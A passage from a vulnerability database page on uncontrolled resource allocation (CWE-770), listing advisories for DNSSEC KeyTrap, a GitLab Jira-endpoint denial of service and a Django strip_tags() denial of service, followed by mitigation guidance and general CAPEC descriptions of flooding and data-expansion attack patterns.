      "type": "WEB",
      "url": "https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2024q1/017430.html"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-50387"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=39367411"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=39372384"
    },
    {
      "type": "WEB",
      "url": "https://nlnetlabs.nl/news/2024/Feb/13/unbound-1.19.1-released"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240307-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.athene-center.de/aktuelles/key-trap"
    },
    {
      "type": "WEB",
      "url": "https://www.athene-center.de/fileadmin/content/PDF/Technical_Report_KeyTrap.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.isc.org/blogs/2024-bind-security-release"
    },
    {
      "type": "WEB",
      "url": "https://www.securityweek.com/keytrap-dns-attack-could-disable-large-parts-of-internet-researchers"
    },
    {
      "type": "WEB",
      "url": "https://www.theregister.com/2024/02/13/dnssec_vulnerability_internet"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-50387"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1219823"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc4035"
    },
    {
      "type": "WEB",
      "url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-2024-01.html"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.nic.cz/knot/knot-resolver/-/releases/v5.7.1"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2023-50387"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/05/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6FV5O347JTX7P5OZA6NGO4MKTXRXMKOZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BUIP7T7Z4T3UHLXFWG6XIVDP4GYPD3AI"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HVRDSJVZKMCXKKPP6PNR62T7RWZ3YSDZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IGSLGKUAQTW5JPPZCMF5YPEYALLRUZZ6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PNNHZSZPG2E7NBMBNYPGHCFI4V4XRWNQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RGS7JN6FZXUSTC2XKQHH27574XOULYYJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SVYA42BLXUCIDLD35YIJPJSHDIADNYMP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TEXGOYGW7DBS3N2QSSQONZ4ENIRQEAPG"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/16/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/16/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-845X-H4JV-2V89

Vulnerability from github – Published: 2026-02-25 21:31 – Updated: 2026-02-25 21:31
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 14.4 before 18.7.5, 18.8 before 18.8.5, and 18.9 before 18.9.1 that could have allowed an unauthenticated user to cause Denial of Service by sending specially crafted requests to the Jira events endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-25T21:16:36Z",
    "severity": "HIGH"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 14.4 before 18.7.5, 18.8 before 18.8.5, and 18.9 before 18.9.1 that could have allowed an unauthenticated user to cause Denial of Service by sending specially crafted requests to the Jira events endpoint.",
  "id": "GHSA-845x-h4jv-2v89",
  "modified": "2026-02-25T21:31:19Z",
  "published": "2026-02-25T21:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1662"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3519694"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/02/25/patch-release-gitlab-18-9-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/588206"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8498-2H75-472J

Vulnerability from github – Published: 2024-12-06 12:30 – Updated: 2025-01-14 15:59
VLAI
Summary
Django denial-of-service in django.utils.html.strip_tags()
Details

An issue was discovered in Django 5.1 before 5.1.4, 5.0 before 5.0.10, and 4.2 before 4.2.17. The strip_tags() method and striptags template filter are subject to a potential denial-of-service attack via certain inputs containing large sequences of nested incomplete HTML entities.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1.0"
            },
            {
              "fixed": "5.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1"
            },
            {
              "fixed": "5.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2"
            },
            {
              "fixed": "4.2.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-53907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-06T18:24:43Z",
    "nvd_published_at": "2024-12-06T12:15:17Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Django 5.1 before 5.1.4, 5.0 before 5.0.10, and 4.2 before 4.2.17. The strip_tags() method and striptags template filter are subject to a potential denial-of-service attack via certain inputs containing large sequences of nested incomplete HTML entities.",
  "id": "GHSA-8498-2h75-472j",
  "modified": "2025-01-14T15:59:58Z",
  "published": "2024-12-06T12:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53907"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2024-156.yaml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2024/dec/04/security-releases"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2024/12/04/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Django denial-of-service in django.utils.html.strip_tags()"
}

Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.